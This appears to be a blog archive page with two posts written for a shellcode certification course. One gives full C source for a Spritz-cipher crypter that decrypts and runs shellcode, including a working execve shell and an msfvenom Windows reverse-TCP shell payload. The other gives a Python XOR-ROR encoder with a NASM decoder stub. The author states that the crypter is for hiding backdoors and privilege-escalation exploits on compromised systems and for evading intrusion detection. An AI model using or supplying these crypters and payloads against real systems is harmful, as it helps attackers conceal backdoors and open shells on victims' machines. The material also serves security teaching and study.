Category Archives: SLAE Course Blog

Spritzer – The cross-platform Spritz Crypter

SLAE_logo2

Content

  1. Why encrypting?
  2. What encryption algorithm
  3. Writing the crypter
  4. Encrypting the shellcode on Linux
  5. Decrypting and executing the shellcode on Linux
  6. Encrypting the shellcode on Windows
  7. Decrypting and executing the shellcode on Windows

All files are available on github.

1. Why encrypting?

In many cases, encoding shellcode will get it past intrusion detection – especially when using a custom encoder written for that particular attack.

There are situations though, where we have to get the big guns out. The most effective of which is a crypter.

Today I am going to write a little program that encrypts our shellcode using a given password as key and decrypts & executes it on the target system when the same password is provided.

The typical use case for this crypter is hiding privilege escalation exploits or backdoors on compromised systems. The executable stays hidden on the target and can be re-activated by providing the correct password.

2. What encryption algorithm

RC4 is the best algorithm for such a purpose as it is very effective and extremely lightweight. Bruce Schneier calls it a “too-good-to-be-true cipher”.

Last year, Ron Rivest, one of the inventors of RC4, has given a talk about a possible replacement called “Spritz”. It currently has some drawbacks, one of them is performance, but taking this opportunity I decided to play along and implement his idea.

Given that the main purpose is obfuscation it should be fairly safe to use an unproven algorithm.

Here is a link to Ron’s paper on Spritz:

http://people.csail.mit.edu/rivest/pubs/RS14.pdf

3. Writing the crypter

To maintain simplicity I have to consider the following requirements:

  • Single code base: I am using the same code for both the encrypter and the decrypter
    • To use it as encrypter we add the command line argument -e (or anything, really)
    • paste the plaintext shellcode in before compiling it as encrypter
    • paste the encrypted shellcode in before compiling it as decrypter
  • NULL character warning:
    • The crypter will spit out a warning if it detects a NULL character in the cyphertext – NULL characters won’t work with the strlen function.
    • If either plaintext of cyphertext contain NULL characters and that’s ok then we have to hardcode the length into the code as a workaround on an individual basis.

According to Ron’s paper, we have to create the following functions:

Let’s build those functions according to his specs:

ALIGNED(64) typedef struct State_ {
    unsigned char s[ARRAY_LENGTH];
    unsigned char a;
    unsigned char i;
    unsigned char j;
    unsigned char k;
    unsigned char w;
    unsigned char z;
} State;
static void initialize_state(State *state)
{
    unsigned int v;

    for (v = 0; v < ARRAY_LENGTH; v++) {
        state->s[v] = (unsigned char) v;
    }
    state->a = 0;
    state->i = 0;
    state->j = 0;
    state->k = 0;
    state->w = 1;
    state->z = 0;
}

 

static void absorb(State *state, const unsigned char *msg, size_t length)
{
    size_t v;

    for (v = 0; v < length; v++) {
        absorb_byte(state, msg[v]);
    }
}

 

static void absorb_byte(State *state, const unsigned char b)
{
    absorb_nibble(state, LOW(b));
    absorb_nibble(state, HIGH(b));
}

 

static void absorb_nibble(State *state, const unsigned char x)
{
    unsigned char t;
    unsigned char y;

    if (state->a == ARRAY_LENGTH / 2) {
        shuffle(state);
    }
    y = ARRAY_LENGTH / 2 + x;
    t = state->s[state->a];
    state->s[state->a] = state->s[y];
    state->s[y] = t;
    state->a++;
}

 

static void absorb_stop(State *state)
{
    if (state->a == ARRAY_LENGTH / 2) {
        shuffle(state);
    }
    state->a++;
}

 

static void shuffle(State *state)
{
    whip(state);
    crush(state);
    whip(state);
    crush(state);
    whip(state);
    state->a = 0;
}

 

static void whip(State *state)
{
    const unsigned int r = ARRAY_LENGTH * 2;
    unsigned int       v;

    for (v = 0; v < r; v++) {
        update(state);
    }
    state->w += 2;
}

 

static void crush(State *state)
{
    unsigned char v;
    unsigned char x1;
    unsigned char x2;
    unsigned char y;

    for (v = 0; v < ARRAY_LENGTH / 2; v++) {
        y = (ARRAY_LENGTH - 1) - v;
        x1 = state->s[v];
        x2 = state->s[y];
        if (x1 > x2) {
            state->s[v] = x2;
            state->s[y] = x1;
        } else {
            state->s[v] = x1;
            state->s[y] = x2;
        }
    }
}

 

static void squeeze(State *state, unsigned char *out, size_t outlen)
{
    size_t v;

    if (state->a > 0) {
        shuffle(state);
    }
    for (v = 0; v < outlen; v++) {
        out[v] = drip(state);
    }
}

 

static unsigned char drip(State *state)
{
    if (state->a > 0) {
        shuffle(state);
    }
    update(state);

    return output(state);
}

 

static void update(State *state)
{
    unsigned char t;
    unsigned char y;

    state->i += state->w;
    y = state->j + state->s[state->i];
    state->j = state->k + state->s[y];
    state->k = state->i + state->k + state->s[state->j];
    t = state->s[state->i];
    state->s[state->i] = state->s[state->j];
    state->s[state->j] = t;
}

 

static unsigned char output(State *state)
{
    const unsigned char y1 = state->z + state->k;
    const unsigned char x1 = state->i + state->s[y1];
    const unsigned char y2 = state->j + state->s[x1];

    state->z = state->s[y2];

    return state->z;
}

 

static void key_setup(State *state, const unsigned char *key, size_t keylen)
{
    initialize_state(state);
    absorb(state, key, keylen);
}

 

int encrypt(unsigned char *out, const unsigned char *msg, size_t msglen,
               const unsigned char *key, size_t keylen)
{
    State  state;
    size_t v;

    key_setup(&state, key, keylen);
    for (v = 0; v < msglen; v++) {
        out[v] = msg[v] + drip(&state);

    }
    memzero(&state, sizeof state);

    return 0;
}

 

static void memzero(void *pnt, size_t len)
{
    volatile unsigned char *pnt_ = (volatile unsigned char *) pnt;
    size_t                     i = (size_t) 0U;

    while (i < len) {
        pnt_[i++] = 0U;
    }

}

 

int decrypt(unsigned char *out, const unsigned char *c, size_t clen,
               const unsigned char *key, size_t keylen)
{
    State  state;
    size_t v;

    key_setup(&state, key, keylen);
    for (v = 0; v < clen; v++) {
        out[v] = c[v] - drip(&state);
    }
    memzero(&state, sizeof state);

    return 0;
}

There we go. All that’s left to do is putting it in sequence and create our main function that encrypts and decrypts/executes our shellcode:

/****************************************************************************
*    spritzer -- Cross platform Spritz Crypter
*
*                Program to encrypt payload with, or
*                to decrypt and execute payload
*                depending on the command line arguments
*                We are using the experimental SPRITZ cypher
*
*    Version   : 1.0
*    Release   : 16/06/2015
*    Author    : Re4son <re4son [ at ] whitedome.com.au>
*    Doc       : http://www.whitedome.com.au/spritzer
*    Purpose   : to encrypt / decrypt&execute a shellcode
*    Platforms : Windows and Linux - both 32 and 64 bit
*
*    Compile   : Linux   = gcc -z execstack spritzer.c -o spritzer
*                Windows = gcc spritzer.c -o spritzer.exe
*                          (compile in VM with NX turned off)
*
*    Usage     : Encrypt         : ./spritzer <password> -e
*                Decrypt & run   : ./spritzer <password>
*
*                1. Encrypt shellcode:
*                                        - copy and paste your plaintext
*                                          shellcode below as "shellcode[]"
*                                        - compile 
*                                        - run ./spritzer <password> -e
*                                        - copy and paste the resulting
*                                          cyphertext below as "shellcode[]"
*                                        - recompile
*                                        - Done
*
*                2. Execute encrypted shellcode:
*                                        - hold on to your seats
*                                        - run ./spritzer <password>
*                                        - Done
*
*    Note      : The encryption function checks for NULL characters and
*                spits out a warning when found. NULL characters stuff up
*                strlen so you better change the password or hard code the
*                lenght in main().
*
****************************************************************************/

#include <string.h>
#include <stdio.h>

/* TODO - copy and paste your plaintext OR encrypted shellcode here: */
const unsigned char shellcode[] = "\x7c\x49\x65\xd8\xec\x22\xfc\xb6\xa9\xc8\xf5\x2f\x2f\x26\x38\xac\xbe\x3f\x5f\xe4\x3f\x67\xf0\x82\x64";

//
//
/*Examples:                                                         */
/* Working Linux shellcodes:                                        */
/* execve bin/bash plaintext shellcode:
const unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
/*
/* execve bin/bash cyphertext shellcode - password "P4ssw0rd":
const unsigned char shellcode[] = "\x7c\x49\x65\xd8\xec\x22\xfc\xb6\xa9\xc8\xf5\x2f\x2f\x26\x38\xac\xbe\x3f\x5f\xe4\x3f\x67\xf0\x82\x64";
*/

/* Working Windows shellcodes:                                      */
/* msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -a x86 --platform Windows -f c
const unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
*/
/* windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 cyphertext shellcode - password "re4son"
const unsigned char shellcode[] = "\xb0\xa7\xa5\xa2\xbb\x51\x88\x94\xbb\x8e\x91\xd5\x8f\x4b\xd1"
"\x2b\x2d\xc9\x59\x81\x6e\x13\x36\x08\xe5\x58\x21\x3d\xb9\x4a"
"\xfa\x20\xc3\x0c\xa3\x2a\xb9\x41\x23\xa2\x8d\x83\xc3\xb9\x95"
"\xaa\x9b\xdd\x06\x34\x2b\x1d\x31\xce\x57\x8d\x36\x8e\x7e\xb9"
"\xb2\xe6\x62\x9a\x94\xb6\xc5\x36\x89\xb0\x0c\x57\xe5\x43\x69"
"\xe8\x91\x94\x8f\x8c\x91\x34\x86\x7c\xbc\x4d\x6b\x2c\x60\xfc"
"\xec\x28\x61\xd7\x1f\x8d\xe8\x21\xd6\x42\xd9\xa8\x92\xde\x8f"
"\x46\x8b\x69\xfb\x02\xc7\x9c\x97\x03\xf2\xba\xc1\xa7\x6a\xac"
"\xc2\xc2\x64\x5d\x2c\x18\xb0\x4c\xe6\x38\x35\x27\x2a\xd9\x3e"
"\x24\xa8\xa3\xff\x69\x8c\xb6\x5a\x2d\x91\x6e\xa2\x6f\x98\xe3"
"\xf5\xec\x93\xd8\xe0\x9e\x14\x5d\x68\x93\x58\x14\xf8\xf3\x07"
"\x8c\xd7\xb9\x5c\x56\x8d\xb7\x11\xbe\xcf\xb1\x2a\x72\xa2\x6c"
"\x5d\x1d\x29\x2c\xba\xbb\x26\x17\xf9\x2e\xa6\xdd\x7a\xa8\x51"
"\x82\x8c\x1b\x17\x69\x59\x95\xc8\xda\xf2\x35\xd0\xc0\x80\x32"
"\xf6\x8b\x18\xec\x13\x7f\x44\x26\xdf\x3f\x5e\x22\xa8\xbc\xad"
"\xe7\xd4\xd8\xc7\x84\xb6\xbb\x8b\xb3\xba\xce\x1f\x26\x65\x23"
"\x14\x17\x60\xf5\xd1\x2d\x1b\x7c\x79\xcb\x34\xfd\x4e\x1a\x14"
"\x28\xa2\xfe\x8f\xf4\xa8\x66\x25\xec\x2e\x85\x8c\x8f\x24\xb9"
"\x92\x82\x41\x1c\x61\xce\x7f\x79\x59\x3b\x9c\xf6\x34\x3f\x35"
"\x54\x83\x84\xa2\xab\xc2\x7c\xd2\xf2\xbb\xca\x4b\x58\xdc\x9f"
"\x08\xc2\x5c\x93\xc7\x6c\x52\x76\x52\xc6\x14\xf9\x9a\x08\x8d"
"\x7f\xd5\x86\x34\xf7\xb5\x97\x51\x2a";
*/

#define LOW(B)  ((B) & 0xf)
#define HIGH(B) ((B) >> 4)
#define ARRAY_LENGTH        256
#define ALIGNED(S) __attribute__((aligned(S)))

ALIGNED(64) typedef struct State_ {
    unsigned char s[ARRAY_LENGTH];
    unsigned char a;
    unsigned char i;
    unsigned char j;
    unsigned char k;
    unsigned char w;
    unsigned char z;
} State;


static void initialize_state(State *state)
{
    unsigned int v;

    for (v = 0; v < ARRAY_LENGTH; v++) {
        state->s[v] = (unsigned char) v;
    }
    state->a = 0;
    state->i = 0;
    state->j = 0;
    state->k = 0;
    state->w = 1;
    state->z = 0;
}

static void update(State *state)
{
    unsigned char t;
    unsigned char y;

    state->i += state->w;
    y = state->j + state->s[state->i];
    state->j = state->k + state->s[y];
    state->k = state->i + state->k + state->s[state->j];
    t = state->s[state->i];
    state->s[state->i] = state->s[state->j];
    state->s[state->j] = t;
}

static unsigned char output(State *state)
{
    const unsigned char y1 = state->z + state->k;
    const unsigned char x1 = state->i + state->s[y1];
    const unsigned char y2 = state->j + state->s[x1];

    state->z = state->s[y2];

    return state->z;
}

static void crush(State *state)
{
    unsigned char v;
    unsigned char x1;
    unsigned char x2;
    unsigned char y;

    for (v = 0; v < ARRAY_LENGTH / 2; v++) {
        y = (ARRAY_LENGTH - 1) - v;
        x1 = state->s[v];
        x2 = state->s[y];
        if (x1 > x2) {
            state->s[v] = x2;
            state->s[y] = x1;
        } else {
            state->s[v] = x1;
            state->s[y] = x2;
        }
    }
}

static void whip(State *state)
{
    const unsigned int r = ARRAY_LENGTH * 2;
    unsigned int       v;

    for (v = 0; v < r; v++) {
        update(state);
    }
    state->w += 2;
}

static void shuffle(State *state)
{
    whip(state);
    crush(state);
    whip(state);
    crush(state);
    whip(state);
    state->a = 0;
}

static void absorb_stop(State *state)
{
    if (state->a == ARRAY_LENGTH / 2) {
        shuffle(state);
    }
    state->a++;
}

static void absorb_nibble(State *state, const unsigned char x)
{
    unsigned char t;
    unsigned char y;

    if (state->a == ARRAY_LENGTH / 2) {
        shuffle(state);
    }
    y = ARRAY_LENGTH / 2 + x;
    t = state->s[state->a];
    state->s[state->a] = state->s[y];
    state->s[y] = t;
    state->a++;
}

static void absorb_byte(State *state, const unsigned char b)
{
    absorb_nibble(state, LOW(b));
    absorb_nibble(state, HIGH(b));
}

static void absorb(State *state, const unsigned char *msg, size_t length)
{
    size_t v;

    for (v = 0; v < length; v++) {
        absorb_byte(state, msg[v]);
    }
}

static unsigned char drip(State *state)
{
    if (state->a > 0) {
        shuffle(state);
    }
    update(state);

    return output(state);
}

static void squeeze(State *state, unsigned char *out, size_t outlen)
{
    size_t v;

    if (state->a > 0) {
        shuffle(state);
    }
    for (v = 0; v < outlen; v++) {
        out[v] = drip(state);
    }
}

static void memzero(void *pnt, size_t len)
{
    volatile unsigned char *pnt_ = (volatile unsigned char *) pnt;
    size_t                     i = (size_t) 0U;

    while (i < len) {
        pnt_[i++] = 0U;
    }

}

static void key_setup(State *state, const unsigned char *key, size_t keylen)
{
    initialize_state(state);
    absorb(state, key, keylen);
}

int encrypt(unsigned char *out, const unsigned char *msg, size_t msglen,
               const unsigned char *key, size_t keylen)
{
    State  state;
    size_t v;

    key_setup(&state, key, keylen);
    for (v = 0; v < msglen; v++) {
        out[v] = msg[v] + drip(&state);

    }
    memzero(&state, sizeof state);

    return 0;
}

int decrypt(unsigned char *out, const unsigned char *c, size_t clen,
               const unsigned char *key, size_t keylen)
{
    State  state;
    size_t v;

    key_setup(&state, key, keylen);
    for (v = 0; v < clen; v++) {
        out[v] = c[v] - drip(&state);
    }
    memzero(&state, sizeof state);

    return 0;
}


int main(int argc, char **argv)
{
    unsigned char       out[2048];
    unsigned char         *key;
    size_t              i, key_length;
    size_t                 shellcode_length = sizeof shellcode;
    int                 badchars = 0;
    int (*ret)() = (int(*)())out;

    if (argc == 1){
        fprintf(stderr,"Please provide a key\n");
        return -1;
    } else {
        key = (unsigned char *)argv[1];
        key_length = strlen((char *)key);
        if(key_length > ARRAY_LENGTH){
                printf("Key is too long. It should be less than 256 characters\n");
                return(-1);
        }
    }

    if (argc > 2){
        encrypt(out, shellcode, shellcode_length, key, key_length);
        for (i = 0; i < (shellcode_length-1); i++) {
            printf("\\x%02x", out[i]);
            if (out[i] == 0)
                badchars ++;
        }
        printf("\n");
        if (badchars > 0){
           printf("\n\t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
            printf("\t!!              WARNING            !!\n");
            if (badchars == 1)
                printf("\t!!        Found %02d bad char        !!\n", badchars);
            else
                printf("\t!!        Found %02d bad chars       !!\n", badchars);
            printf("\t!!---------------------------------!!\n");
            printf("\t!! Please use a different password !!\n");
            printf("\t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\n");
         }
    } else {
           decrypt(out, shellcode, shellcode_length, key, key_length);
           ret();
    }

    return 0;
}

As we can see, the majority of complexity went into the key setup. The actual encryption algorithm is fairly simple.

4. Encrypting the shellcode on Linux

Let’s pick a traditional execve bin/sh shellcode and add it into our crypter:

slae07_01

Compile and run it with a password that will be used as the encryption key and the -e switch to define the encryption mode:

slae07_02

Great, there is our encrypted shellcode.

Now let’s add it back into the crypter:

slae07_03

Save and compile it.

5. Decrypting and executing the shellcode on Linux

This time we are executing the crypter without the -e switch and, for the fun of it, with an incorrect password:

slae07_04

Awesome, the shellcode gets decrypted and because we used the wrong key, resulted in non-executable stuff.

Let’s run it again with the correct password:

slae07_05

Perfect. Here is our shell.

There we have it – a custom crypter and, as far as I can tell, something no one else has done with this algorithm before – a sure way to fly under any IDS’ radar.

Mission accomplished.

6. Encrypting the shellcode in Windows

Just for good measure, here is a walk through on Windows:

Let’s use msfvenom to get a reverse shell for Windows:

spritzer-win1

Let’s add it in:

spritzer-win2

By the way – I’ve arbitrarily set the limit for the shellcode buffer to 2048 bytes. To change it just initialize “out” with your preferred value:

int main(int argc, char **argv)
{
unsigned char       out[2048];

Moving on, let’s compile it and run the executable to obtain the encrypted string:

spritzer-win3

Perfect.

Strangely enough the bad character doesn’t really seem to have any impact.

Anyway, here we go. Let’s put the cyphertext back into our source code:

spritzer-win4

and compile it to get our finished product:

spritzer-win5

Finished.

7. Decrypting and executing the shellcode on Windows

All that’s left to do is to upload the spritzer to our target machine and execute it at your leisure:

spritzer-win6

Voila, Bob’s your uncle.

Any questions, comments and suggestions are highly welcomed. Just shoot me an e-mail to re4son <at> whitedome.com.au

All files are available on github.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwittergoogle_plusredditpinterestlinkedinmail

SLAE #4: Custom XOR-ROR-Feedback Encoder

SLAE_logo2

Content

  1. Why encoding?
  2. What encoding algorithm
  3. Writing the encoder
  4. Writing the decoder
  5. Running the final product

1. Why encoding?

Two of the biggest challenges for using our shellcodes are:

  • Bad characters contained in the shellcode
  • Intrusion detection systems

Today I am writing an encoder to tackle both those points.

2. What encoding algorithm

There are an endless supply of logical, mathematical and other functions to choose from to encode a given plain text. Each come with their set of advantages and disadvantages.

Looking at the disadvantages I ruled out the following options for the given reasons:

  • Insertion adds considerable size to the payload.
  • Bitwise addition, subtraction, shift, etc. adds considerable size to the payload due to carry overs.
  • Simple XOR with single key allows holistic detection systems to identify a connection between the encoder and the encoded part, e.g.:
    • The stub contains the size of the encoded payload
    • The stub contains the marker that terminates the payload

XOR is without doubt the most suitable of the available algorithms as it is fast and encodes in place, i.e. it does not require additional space for the encoded text.

So how can we deal with the disadvantages?

Let’s stick with the marker terminating our string to be encoded. Some options are:

  • Encode the marker together with the plaintext= XOR ing the marker with the key would zero it out (as we use the key as the marker) 🙁
  • Chain encoding= Encode the first byte with the key and subsequent bytes with the previous plaintext byte= Would create NULL bytes for duplicate bytes in a row 🙁
  • Feedback encoding: Encode the first byte with the key and subsequent bytes with the previous encoded byte= Allows the decoding in reverse order without the key 🙁
  • Feedback chain ror encoding: Encode the first byte with the key, create a new key by right rotating the previous plain text byte with the previous encoded byte= loses randomness midway throughout encoding longer strings 🙁
  • Feedback chain additive ror encoding:
    1. Encode the first byte with the key
    2. Create a new key for encoding the next byte by:
      1. adding the current key to the current encoded byte
      2. Bitwise rotate the current plaintext byte by the sum of calculation 1.
    3. XOR the next byte with the new key
    4. After encoding the last byte, add the marker to the string and encode it in the same fashion 🙂

slae04_00

Clear as mud I suppose?
There we have it. Our perfect algorithm.
Remember that the bytewise ROR only allows for 8 rotations before they repeat; the sole purpose of the additive rotations are to insert some “pseudo randomness” to avoid null bytes.

3. Writing the encoder

Let me translate the picture in my head into python code:

 
#!/usr/bin/env python
#####################################################################################
## [Name]: xor-ror-feedback-encoder.py -- shellcode encoder
##-----------------------------------------------------------------------------------
## [Author]: Re4son re4son [at] whitedome.com.au
##-----------------------------------------------------------------------------------
## [Details]: 
## Uses a random integer as initialisation vecor to xor the first byte of shellcode 
## then uses the un-encoded previous byte and ror's it 
## (encoded previous byte + initialisation vector) times - the result is used
## to xor the next byte
## the initialisation vectore will be attached to the shellcode as eol marker prior
## to encoding.
##
## Output:
##            1. the encoded payload only
##            2. the entire shellcode (stub and payload)
##            3. The nasm code of the stub containing the payload
##
## A warning will be displayed if bad characters are deteced inside the 
## encoded shellcode - just run it again.
##
## A bigger warning will be displayed if the stub cotains a bad char
##-----------------------------------------------------------------------------------
## [Usage]:
##          Insert your shellcode into SHELLCODE constant, define bad chars
##   run    python xor-ror-feedback-encoder
#####################################################################################
import os
from random import randint


SHELLCODE = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
BADCHARS = ("\x00\x0a\x3b")
STUB = ("\xfc\xb2\x00\x52\xeb\x13\x5e\x58\x8a\x0e\x30\x06\x8a\x06\x01\xd1\xd2\xc8\x38\x16\x74\x08\x46\xeb\xef\xe8\xe8\xff\xff\xff")
keypos = 3 		## what position in the stub shall be replaced with the key?
LINEWIDTH = 12		## set to higher than final shellcode length for now line break
encoded = "\""
encoded2 = ""
i = 1
badcharalert = 0	## No of bad chars in shellcode
realbadalert = 0	## No of bad chars in stub

def mask(n):
   """Return a bitmask of length n (suitable for masking against an
      int to coerce the size to a given length)
   """
   if n >= 0:
       return 2**n - 1
   else:
       return 0

def ror(n, rotations=1, width=8):
    """Return a given number of bitwise right rotations of an integer n,
       for a given bit field width.
    """
    rotations %= width
    if rotations < 1:         return n     n &= mask(width)     return (n >> rotations) | ((n << (width - rotations)) & mask(width)) def initkey(shellcode):    """Return a random integer without occurrence in shellcode    """    IV = randint(1, 255)			## Get a random initialisation vector    n = 254				## we will try up to 254 times to find a unique vector    while (n > 0):			## We increase IV by 1 until we find one that is unique
	for x in bytearray(SHELLCODE):
		if (IV == x):
			if (IV < 0xff): 				IV += 1 			else: 				IV = 1 			n -= 1 			break 	break    return IV 			 IV = initkey(SHELLCODE) key = IV for x in bytearray(STUB) : 	if (keypos > 0):
		if (keypos == 1):
			x = key
		keypos -=1
	for z in bytearray(BADCHARS):
		if (x == z):
			realbadalert += 1
	encoded += '\\x'
	encoded += '%02x' % x
	if (i == LINEWIDTH):
        	encoded += '\"\n\"'
        	i = 0
	i += 1

for x in bytearray(SHELLCODE) :
	# XOR Encoding 
	y = x^key
	key = ror(x,(y+IV))
	for z in bytearray(BADCHARS):
		if (y == z):
			badcharalert += 1
	encoded += '\\x'
	encoded += '%02x' % y
	if (i == LINEWIDTH):
        	encoded += '\"\n\"'
        	i = 0
	i += 1
	encoded2 += '0x'
	encoded2 += '%02x,' %y

y = IV^key
encoded += '\\x'
encoded += '%02x' % y
encoded += '\"'

encoded2 += '0x'
encoded2 += '%02x' %y

if (realbadalert > 0):
	print '\n\t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'
	print '\t!!################################################!!'	
	print '\t!!##      EXTREME WARNING - EXTREME WARNING     ##!!'
	print '\t!!##       Found %02d bad chars  in stub!!        ##!!' % realbadalert
	print '\t!!################################################!!'
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
	os.system("""bash -c 'read -s -n 1 -p "Press any key to continue...\n"'""")

if (badcharalert > 0):
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!'
	print '\t!!        WARNING       !!'
	print '\t!!  Found %02d bad chars  !!' % badcharalert
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
print '[+] Key: 0x%02x' %IV
print '**********************'
print '** Encoded payload: **'
print '**********************'
print encoded2
print 'Len: %d' % (len(bytearray(SHELLCODE)) +1)
print '\n*****************************************'
print '** Shellcode (stub + encoded payload): **'
print '*****************************************'
print encoded
##print 'Len: %d \n' % ((len(bytearray(SHELLCODE)) + 1 + (len(bytearray(STUB)))

print '\n*********************'
print '** nasm shellcode: **'
print '*********************'
print '; Filename: xor-ror-feedback-decoder.nasm'
print '; Author:  Re4son re4son [at] whitedome.com.au'
print '; Purpose: XOR-ROR feedback encoder'
print '\n'
print 'global _start'			
print 'section .text'
print '_start:'
print '  cld				; zero out edx'
print '  mov dl, 0x%02x			; initialisation vector used to find end of encoded shellcode' %IV
print '  push edx			;  and used as initial xor key'
print '  jmp call_decoder		; jmp / call/ pop'
print 'decoder:'
print '  pop esi			; jmp, call, pop'
print '  pop eax			; use key as initial xor vector'
print 'decode:'
print '  mov byte cl,[esi]		; encoded byte will define no of ror rotations of key for next xor'
print '  xor byte [esi], al		; xor current byte with vector'
print '  cmp byte [esi], dl		; have we decoded the end of shellcode string?'
print '  jz shellcode			; if so, execute the shellcode'
print '  mov al, byte [esi]		; decrypted byte will be the base for rotation to get key for next xor'
print '  add ecx, edx			; add initial key to ecx'
print '  ror al, cl			; rotate decrypted left byte times (encrypted left byte * initialisation vector)'
print '  inc esi			; move to the next byte'
print '  jmp short decode		; loop until entire shellcode is decoded'
print 'call_decoder:'
print '  call decoder			; jmp / call / pop'
print 'shellcode: db ' + encoded2
if (badcharalert > 0):
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!'
	print '\t!!        WARNING       !!'
	print '\t!!  Found %02d bad chars  !!' % badcharalert
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!'

Looks promising. Let’s give it a try:
slae04_01

The user will be notified if the shellcode contains bad characters:
slae04_02
If that happen, just run it again and again until a key is generated that works.

In extremely unlucky circumstances with many bad chararcters, our stub may contain one. Our encoder will make us aware of that:
slae04_03
We should never get this, but here is what we have to do if we are unfortunate: we manually have to find alternative opcodes for the offending ones.

4. Writing the decoder

Now that we have the encoded payload it’s time to work on the decoder part in nasm:

; Filename: xor-ror-feedback-decoder.nasm
; Author:  Re4son re4son [at] whitedome.com.au
; Purpose: XOR-ROR feedback encoder


global _start
section .text
_start:
  cld				; zero out edx
  mov dl, 0x2c			; initial key used to find end of encoded shellcode
  push edx			;  and used as initial xor key
  jmp call_decoder		; jmp / call/ pop
decoder:
  pop esi			; jmp, call, pop
  pop eax			; use key as initial xor vector
decode:
  mov byte cl,[esi]		; encoded byte will define no of ror rotations of key for next xor
  xor byte [esi], al		; xor current byte with vector
  cmp byte [esi], dl		; have we decoded the end of shellcode string?
  jz shellcode			; if so, execute the shellcode
  mov al, byte [esi]		; decrypted byte will be the base for rotation to get key for next xor
  add ecx, edx			; add initial key to ecx
  ror al, cl			; rotate decrypted left byte times (encrypted left byte * initialisation vector)
  inc esi			; move to the next byte
  jmp short decode		; loop until entire shellcode is decoded
call_decoder:
  call decoder			; jmp / call / pop
shellcode: db 0x1d,0x58,0x5c,0x38,0xa9,0x56,0xb8,0x5f,0x65,0x1b,0x3c,0x0b,0xbc,0xe7,0xd2,0xdf,0x83,0xf1,0x44,0xda,0xc7,0x8c,0xbb,0xdb,0x1b,0x2d

Looks promising.
Let’s watch the decoding in action using gdb:

Perfect. Works as advertised.

5. Compile and test the final package

Lets pop it into our POC program:

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x17\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x59\x31\xd2\xb2\x0d\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe4\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x0a";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

And run it:

slae04_04

Mission accomplished.

All files are available on github.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwittergoogle_plusredditpinterestlinkedinmail